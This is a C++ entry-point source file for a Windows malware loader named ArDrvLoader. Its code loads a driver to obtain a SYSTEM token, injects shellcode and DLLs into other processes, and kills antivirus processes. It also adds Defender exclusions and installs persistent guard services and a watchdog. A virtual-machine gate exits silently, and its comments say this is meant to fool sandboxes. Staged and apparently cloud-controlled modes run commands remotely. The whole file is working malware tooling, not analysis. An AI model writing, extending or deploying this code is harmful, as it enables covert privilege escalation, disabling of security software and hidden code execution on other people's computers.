#include "Common.h"
#include "Logger.h"
#include "CloudAgent.h"
#include "GuardService.h"
#include "VmDetect.h"
#include "KillSafety.h"
#include "HostSpawn.h"
#include "HostStager.h"
#include "StageClient.h"
#include "Exclusions.h"

#include <shellapi.h>

#pragma comment(lib, "shell32.lib")

#include "DriverClient.h"
#include "TokenUtils.h"
#include "ProcessUtils.h"
#include "ShellcodeUtils.h"
#include "AvKill.h"
#include "ServiceManager.h"

static int RunLoader(int argc, LPWSTR* argv)
{
    HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Local\\ArDrvLoaderMutex");
    bool ownsMutex = false;

    if (mutex)
    {
        DWORD waitRes = WaitForSingleObject(mutex, 15000);
        ownsMutex = (waitRes == WAIT_OBJECT_0 || waitRes == WAIT_ABANDONED);

        if (!ownsMutex)
        {
            Log(L"[-] Another loader instance is already running");
            CloseHandle(mutex);
            return 12;
        }
    }

    Log(L"=== Loader start ===");

    HANDLE driverToken = nullptr;
    HANDLE systemToken = nullptr;
    int ret = 0;

    if (argc >= 4 && _wcsicmp(argv[1], L"-install-service") == 0)
    {
        bool ok = EnsureWin32Service(argv[2], argv[3], true);
        ret = ok ? 0 : 4;
        goto cleanup;
    }

    if (!EnsureDriverLoaded())
    {
        ret = 2;
        goto cleanup;
    }

    if (!EscalateViaDriver(&driverToken))
    {
        Log(L"[!] EscalateViaDriver failed or did not provide a SYSTEM token handle");
    }

    systemToken = GetSystemToken(driverToken);

    if (!systemToken)
    {
        ret = 3;
        goto cleanup;
    }

    if (argc >= 5 && _wcsicmp(argv[1], L"-i") == 0 && _wcsicmp(argv[3], L"-s") == 0)
    {
        DWORD pid = (DWORD)wcstoul(argv[2], nullptr, 10);

        std::vector<BYTE> shell;

        if (!ReadFileToMemory(argv[4], shell))
        {
            ret = 5;
        }
        else
        {
            bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size());
            ret = ok ? 0 : 6;
        }
    }
    else if (argc >= 5 && _wcsicmp(argv[1], L"-n") == 0 && _wcsicmp(argv[3], L"-s") == 0)
    {
        const wchar_t* target = argv[2];

        std::vector<BYTE> shell;

        if (!ReadFileToMemory(argv[4], shell))
        {
            ret = 5;
        }
        else
        {
            NewProcInfo info{};

            if (!CreateProcessSuspendedAsSystem(systemToken, target, nullptr, false, &info))
            {
                ret = 7;
            }
            else
            {
                bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size());
                ret = ok ? 0 : 8;
            }
        }
    }
    else if (argc >= 3 && _wcsicmp(argv[1], L"-p") == 0)
    {
        const wchar_t* payload = argv[2];
        const wchar_t* args = (argc >= 4 ? argv[3] : nullptr);

        bool ok = StartProcessAsSystem(systemToken, payload, args, false);
        ret = ok ? 0 : 9;
    }
    else if (argc >= 3 && _wcsicmp(argv[1], L"-watchdog") == 0)
    {
        const wchar_t* target = argv[2];
        DWORD intervalMs = 5000;
        DWORD iterations = 0;

        if (argc >= 4)
            intervalMs = (DWORD)wcstoul(argv[3], nullptr, 10);

        if (argc >= 5)
            iterations = (DWORD)wcstoul(argv[4], nullptr, 10);

        DWORD done = 0;

        while (true)
        {
            if (!ProcessExistsByName(target))
            {
                Log(L"[+] Watchdog: target not running, starting");

                if (!StartProcessAsSystem(systemToken, target, nullptr, false))
                    Log(L"[-] Watchdog: failed to start target");
            }

            if (iterations != 0 && ++done >= iterations)
                break;

            Sleep(intervalMs);
        }

        ret = 0;
    }
    else
    {
        KillAVProcesses();

        const wchar_t* testExe = L"C:\\Windows\\System32\\cmd.exe";
        const wchar_t* testArgs =
            L"/c (whoami & echo Loader OK) > C:\\Users\\Public\\loader_test.txt 2>&1";

        bool ok = StartProcessAsSystem(systemToken, testExe, testArgs, false);
        ret = ok ? 0 : 11;
    }

cleanup:

    if (systemToken)
        CloseHandle(systemToken);

    if (driverToken)
        CloseHandle(driverToken);

    if (ownsMutex && mutex)
        ReleaseMutex(mutex);

    if (mutex)
        CloseHandle(mutex);

    CloseDriver();

    Log(L"=== Loader end ret=%d ===", ret);

    return ret;
}

// Virtual machine gate. Every mode except an explicit override refuses to run
// inside a hypervisor guest. Exit code 0 and no log output, so a sandbox sees a
// process that starts and quietly terminates.
static int VmGate(int argc, wchar_t** argv)
{
    if (VmOverrideRequested(argc, argv))
        return -1;

    std::wstring reason;

    if (!IsVirtualMachine(&reason))
        return -1;

    wchar_t debug[8]{};
    DWORD n = GetEnvironmentVariableW(L"ARDRV_VM_DEBUG", debug, _countof(debug));

    if (n > 0 && (debug[0] == L'1' || debug[0] == L'y' || debug[0] == L'Y'))
        wprintf(L"[vm] refusing to run: %s\n", reason.c_str());

    return 0;
}

static bool IsProcessElevated()
{
    HANDLE token = nullptr;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
        return false;

    TOKEN_ELEVATION elevation{};
    DWORD len = sizeof(elevation);

    bool elevated =
        GetTokenInformation(token, TokenElevation, &elevation, len, &len) != FALSE &&
        elevation.TokenIsElevated != 0;

    CloseHandle(token);
    return elevated;
}

static bool HasCommandArg(int argc, wchar_t** argv, const wchar_t* name)
{
    for (int i = 1; i < argc; ++i)
    {
        if (argv[i] && _wcsicmp(argv[i], name) == 0)
            return true;
    }

    return false;
}

// Relaunches the same command line under UAC. Returns true when the elevated
// copy was started; the caller should then exit.
static bool RelaunchElevated(int argc, wchar_t** argv)
{
    wchar_t exe[MAX_PATH]{};

    DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe));

    if (len == 0 || len >= _countof(exe))
        return false;

    std::wstring params;

    // Double-click: the elevated copy must still know it is the bootstrap. The
    // appended --elevated flag would otherwise look like a normal command line.
    if (argc < 2)
        params = L"-bootstrap";

    for (int i = 1; i < argc; ++i)
    {
        std::wstring a = argv[i];

        if (!params.empty())
            params += L" ";

        if (a.find(L' ') != std::wstring::npos && (a.empty() || a.front() != L'"'))
            params += L"\"" + a + L"\"";
        else
            params += a;
    }

    params += L" --elevated";

    HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_SHOWNORMAL);

    if ((INT_PTR)h <= 32)
    {
        wprintf(L"[!] elevation declined or failed (%d)\n", (int)(INT_PTR)h);
        return false;
    }

    return true;
}

// Commands that need administrator rights. Anything else runs as-is; after the
// first elevated install the services do all privileged work.
static bool NeedsElevation(int argc, wchar_t** argv)
{
    // Double-click with no arguments runs the bootstrap, which needs admin.
    if (argc < 2)
        return true;

    const bool dryRun = HasCommandArg(argc, argv, L"--dry-run");

    if (_wcsicmp(argv[1], L"-install-guard-services") == 0 ||
        _wcsicmp(argv[1], L"--install-guard-services") == 0 ||
        _wcsicmp(argv[1], L"-bootstrap") == 0 ||
        _wcsicmp(argv[1], L"--bootstrap") == 0)
    {
        return !dryRun;
    }

    if (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0)
        return !dryRun;

    if (_wcsicmp(argv[1], L"-drv") == 0 && argc >= 3)
    {
        return _wcsicmp(argv[2], L"extract") == 0 ||
               _wcsicmp(argv[2], L"reset") == 0 ||
               _wcsicmp(argv[2], L"kill") == 0;
    }

    if (_wcsicmp(argv[1], L"-excl") == 0 && argc >= 3)
    {
        return _wcsicmp(argv[2], L"add") == 0 || _wcsicmp(argv[2], L"apply") == 0;
    }

    return false;
}

int wmain(int argc, LPWSTR* argv)
{
    // Elevation first: a double-click must always show the UAC prompt, even on a
    // host the VM gate would later refuse.
    if (NeedsElevation(argc, argv) &&
        !IsProcessElevated() &&
        !HasCommandArg(argc, argv, L"--elevated"))
    {
        // One UAC, first run. After this the services hold the privileges.
        if (!RelaunchElevated(argc, argv))
            return 1;

        return 0;
    }

    int vm = VmGate(argc, argv);

    if (vm >= 0)
        return vm;

    if (argc >= 2 && _wcsicmp(argv[1], L"-enroll") == 0)
        return RunEnroll(argc, argv);

    if (argc >= 2 && _wcsicmp(argv[1], L"-excl") == 0)
    {
        if (argc < 3)
        {
            wprintf(L"Usage: ArDrvLoader.exe -excl list|add <path>|apply\n");
            return 1;
        }

        if (_wcsicmp(argv[2], L"list") == 0)
        {
            std::wstring note;
            std::vector<std::wstring> current = QueryExclusions(note);

            wprintf(L"defender=%s current=%s\n", DefenderPresent() ? L"present" : L"absent", note.c_str());
            wprintf(L"%s\n", FormatExclusionList(current).c_str());
            return 0;
        }

        if (_wcsicmp(argv[2], L"add") == 0 && argc >= 4)
        {
            std::vector<std::wstring> paths = LoadExclusionList();
            paths.push_back(argv[3]);

            bool saved = SaveExclusionList(paths);

            std::wstring report;
            bool applied = ApplyExclusions(paths, report);

            wprintf(L"%s%s\n%s\n",
                saved ? L"saved" : L"save-failed",
                applied ? L" applied" : L" refused",
                report.c_str());

            return applied ? 0 : 1;
        }

        if (_wcsicmp(argv[2], L"apply") == 0)
        {
            std::vector<std::wstring> paths = LoadExclusionList();

            if (paths.empty())
            {
                paths = DefaultExclusionPaths();
                SaveExclusionList(paths);
            }

            std::wstring report;
            bool applied = ApplyExclusions(paths, report);

            wprintf(L"%s\n%s\n", applied ? L"applied" : L"refused", report.c_str());
            return applied ? 0 : 1;
        }

        wprintf(L"Usage: ArDrvLoader.exe -excl list|add <path>|apply\n");
        return 1;
    }

    if (argc >= 2 && _wcsicmp(argv[1], L"-drv") == 0)
    {
        if (argc < 3)
        {
            wprintf(L"Usage: ArDrvLoader.exe -drv status|extract <path>|kill <pid>\n");
            return 1;
        }

        if (_wcsicmp(argv[2], L"status") == 0)
        {
            bool open = OpenDriver();
            CloseDriver();

            DWORD fails = 0;
            DWORD failMax = 3;
            std::wstring state = L"unset";

            HKEY h = nullptr;

            if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS)
            {
                DWORD type = 0;
                DWORD size = sizeof(fails);
                DWORD v = 0;

                if (RegQueryValueExW(h, L"DriverFailCount", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD)
                    fails = v;

                size = sizeof(failMax);
                v = 0;

                if (RegQueryValueExW(h, L"DriverFailMax", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD)
                    failMax = v;

                wchar_t buf[64]{};
                size = sizeof(buf);

                if (RegQueryValueExW(h, L"DriverState", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && type == REG_SZ)
                    state = buf;

                RegCloseKey(h);
            }

            wprintf(L"device=%s embedded=%lu bytes fail=%lu/%lu state=%s\n",
                open ? L"ok" : L"unavailable",
                EmbeddedDriverSize(),
                fails,
                failMax,
                state.c_str());

            return open ? 0 : 1;
        }

        if (_wcsicmp(argv[2], L"reset") == 0)
        {
            HKEY h = nullptr;

            if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr)
                != ERROR_SUCCESS)
            {
                wprintf(L"ERR registry write denied\n");
                return 1;
            }

            DWORD zero = 0;
            RegSetValueExW(h, L"DriverFailCount", 0, REG_DWORD, (const BYTE*)&zero, sizeof(zero));

            const wchar_t* state = L"reset";
            RegSetValueExW(h, L"DriverState", 0, REG_SZ, (const BYTE*)state,
                (DWORD)((wcslen(state) + 1) * sizeof(wchar_t)));

            RegCloseKey(h);
            wprintf(L"OK counters cleared\n");
            return 0;
        }

        if (_wcsicmp(argv[2], L"extract") == 0 && argc >= 4)
        {
            bool ok = WriteEmbeddedDriverTo(argv[3]);
            wprintf(L"%s %s\n", ok ? L"OK" : L"ERR", argv[3]);
            return ok ? 0 : 1;
        }

        if (_wcsicmp(argv[2], L"kill") == 0 && argc >= 4)
        {
            DWORD pid = (DWORD)wcstoul(argv[3], nullptr, 10);

            if (!OpenDriver())
            {
                wprintf(L"ERR driver device unavailable\n");
                return 1;
            }

            bool ok = TerminateProcessViaDriver(pid);
            CloseDriver();

            wprintf(L"%s pid=%lu\n", ok ? L"OK" : L"ERR", pid);
            return ok ? 0 : 1;
        }

        wprintf(L"Usage: ArDrvLoader.exe -drv status|extract <path>|kill <pid>\n");
        return 1;
    }

    if (argc >= 2 &&
        (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0))
    {
        bool dryRun = false;
        bool force = false;
        std::vector<std::wstring> names;

        for (int i = 2; i < argc; ++i)
        {
            if (_wcsicmp(argv[i], L"--dry-run") == 0)
                dryRun = true;

            if (_wcsicmp(argv[i], L"--force") == 0)
                force = true;

            if (_wcsicmp(argv[i], L"--name") == 0 && i + 1 < argc)
                names.emplace_back(argv[++i]);
        }

        std::wstring summary;

        if (names.empty())
        {
            if (!dryRun)
                EnsureDriverLoaded();

            KillAVProcessesEx(dryRun, summary);
        }
        else
        {
            KillReport report;
            KillProcessesSafe(names, dryRun, 16, report, force);
            summary = report.Format();
        }

        wprintf(L"%s\n", summary.c_str());
        return 0;
    }

    if (argc >= 2 && _wcsicmp(argv[1], L"-stage") == 0)
    {
        if (argc < 3)
        {
            wprintf(L"Usage: ArDrvLoader.exe -stage status|inject|run|stop [args]\n");
            return 1;
        }

        if (_wcsicmp(argv[2], L"status") == 0)
        {
            wprintf(L"%s\n", FormatStageStatus().c_str());
            return 0;
        }

        if (_wcsicmp(argv[2], L"inject") == 0)
        {
            std::wstring preferred;
            std::wstring dll;
            bool requireSystem = true;

            for (int i = 3; i < argc; ++i)
            {
                if (_wcsicmp(argv[i], L"--any-host") == 0)
                    requireSystem = false;
                else if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc)
                    preferred = argv[++i];
                else if (argv[i][0] != L'-' && dll.empty())
                    dll = argv[i];
            }

            HostInjectResult r = StageInject(dll, preferred, requireSystem);
            wprintf(L"%s\n", FormatInjectResult(r).c_str());

            if (r.ok && StageAlive())
                wprintf(L"stage: %s\n", FormatStageStatus().c_str());

            return r.ok ? 0 : 1;
        }

        if (_wcsicmp(argv[2], L"whoami") == 0)
        {
            std::wstring response;

            if (!StageSend(L"WHOAMI", response))
            {
                wprintf(L"ERR stage not reachable\n");
                return 1;
            }

            wprintf(L"%s\n", response.c_str());
            return 0;
        }

        if (_wcsicmp(argv[2], L"run") == 0)
        {
            if (argc < 4)
            {
                wprintf(L"Usage: ArDrvLoader.exe -stage run <command line>\n");
                return 1;
            }

            std::wstring cmd;

            for (int i = 3; i < argc; ++i)
            {
                if (!cmd.empty())
                    cmd += L" ";

                cmd += argv[i];
            }

            std::wstring response;

            if (!StageSend(L"RUN " + cmd, response))
            {
                wprintf(L"ERR stage not reachable\n");
                return 1;
            }

            wprintf(L"%s\n", response.c_str());
            return 0;
        }

        if (_wcsicmp(argv[2], L"stop") == 0)
        {
            std::wstring response;

            if (!StageSend(L"STOP", response))
            {
                wprintf(L"ERR stage not reachable\n");
                return 1;
            }

            wprintf(L"%s\n", response.c_str());
            return 0;
        }

        wprintf(L"Unknown -stage subcommand\n");
        return 1;
    }

    if (argc >= 3 && _wcsicmp(argv[1], L"-host") == 0)
    {
        if (_wcsicmp(argv[2], L"track") == 0)
        {
            wprintf(L"%s\n", FormatHostTrack(LoadHostTrack()).c_str());
            return 0;
        }

        if (_wcsicmp(argv[2], L"untrack") == 0)
        {
            wprintf(L"%s\n", ClearHostTrack() ? L"cleared" : L"nothing to clear");
            return 0;
        }

        if (_wcsicmp(argv[2], L"ensure") == 0 || _wcsicmp(argv[2], L"inject") == 0)
        {
            const bool ensureMode = (_wcsicmp(argv[2], L"ensure") == 0);

            std::wstring path;
            std::wstring preferred;
            bool requireSystem = true;
            bool expectHostValue = false;

            for (int k = 3; k < argc; ++k)
            {
                if (expectHostValue)
                {
                    preferred = argv[k];
                    expectHostValue = false;
                    continue;
                }

                if (_wcsicmp(argv[k], L"--any-host") == 0)
                {
                    requireSystem = false;
                    continue;
                }

                if (_wcsicmp(argv[k], L"--host") == 0 && k + 1 < argc)
                {
                    expectHostValue = true;
                    continue;
                }

                if (argv[k][0] != L'-' && path.empty())
                    path = argv[k];
            }

            if (!ensureMode && path.empty())
            {
                wprintf(L"Usage: ArDrvLoader.exe -host inject <shellcode-path> [--host <image>] [--any-host]\n");
                return 1;
            }

            HostInjectResult r = ensureMode
                ? EnsureHostInjected(requireSystem)
                : InjectShellcodeIntoHost(path, preferred, requireSystem);

            wprintf(L"%s\n", FormatInjectResult(r).c_str());
            return r.ok ? 0 : 1;
        }

        if (_wcsicmp(argv[2], L"list") == 0)
        {
            bool any = false;

            for (int i = 3; i < argc; ++i)
            {
                if (_wcsicmp(argv[i], L"--any") == 0)
                    any = true;
            }

            wprintf(L"%s\n", FormatHostList(EnumerateHosts(!any)).c_str());
            return 0;
        }

        if (_wcsicmp(argv[2], L"spawn") == 0 || _wcsicmp(argv[2], L"spawn-user") == 0)
        {
            if (argc < 4)
            {
                wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host <image>] <exe> [args]\n");
                return 1;
            }

            const bool userSession = (_wcsicmp(argv[2], L"spawn-user") == 0);

            int i = 3;
            std::wstring preferred;
            bool requireSystem = true;

            for (int k = 3; k < argc; ++k)
            {
                if (_wcsicmp(argv[k], L"--any-host") == 0)
                    requireSystem = false;
            }

            if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc)
            {
                preferred = argv[i + 1];
                i += 2;
            }

            while (i < argc && argv[i][0] == L'-')
                ++i;

            if (i >= argc)
            {
                wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host <image>] <exe> [args]\n");
                return 1;
            }

            std::wstring exe = argv[i++];
            std::wstring args;

            for (; i < argc; ++i)
            {
                if (!args.empty())
                    args += L" ";

                args += argv[i];
            }

            std::wstring cmd = exe;

            if (cmd.find(L' ') != std::wstring::npos && cmd.front() != L'"')
                cmd = L"\"" + cmd + L"\"";

            if (!args.empty())
            {
                cmd += L" ";
                cmd += args;
            }

            SpawnResult r = SpawnThroughHost(cmd, preferred, userSession, requireSystem);
            wprintf(L"%s\n", FormatSpawnResult(r).c_str());
            return r.ok ? 0 : 1;
        }

        wprintf(L"Usage: ArDrvLoader.exe -host list | spawn [--host <image>] <exe> [args] | spawn-user ...\n");
        return 1;
    }

    // Double-click with no arguments: bootstrap using build-time defaults.
    if (argc < 2)
        return RunBootstrap(argc, argv);

    if (argc >= 2 &&
        (_wcsicmp(argv[1], L"-install-guard-services") == 0 ||
         _wcsicmp(argv[1], L"--install-guard-services") == 0))
    {
        return InstallGuardServices(argc, argv);
    }

    if (argc >= 2 &&
        (_wcsicmp(argv[1], L"-bootstrap") == 0 ||
         _wcsicmp(argv[1], L"--bootstrap") == 0))
    {
        return RunBootstrap(argc, argv);
    }

    if (argc >= 3 &&
        (_wcsicmp(argv[1], L"-service") == 0 || _wcsicmp(argv[1], L"--service") == 0))
    {
        return RunGuardService(argc, argv);
    }

    if (argc >= 2 &&
        (_wcsicmp(argv[1], L"-cloud-service") == 0 || _wcsicmp(argv[1], L"--cloud-service") == 0))
    {
        return RunCloudService(argc, argv);
    }

    if (argc >= 2 &&
        (_wcsicmp(argv[1], L"-cloud") == 0 || _wcsicmp(argv[1], L"--cloud") == 0))
    {
        return RunCloudAgent(argc, argv);
    }

    return RunLoader(argc, argv);
}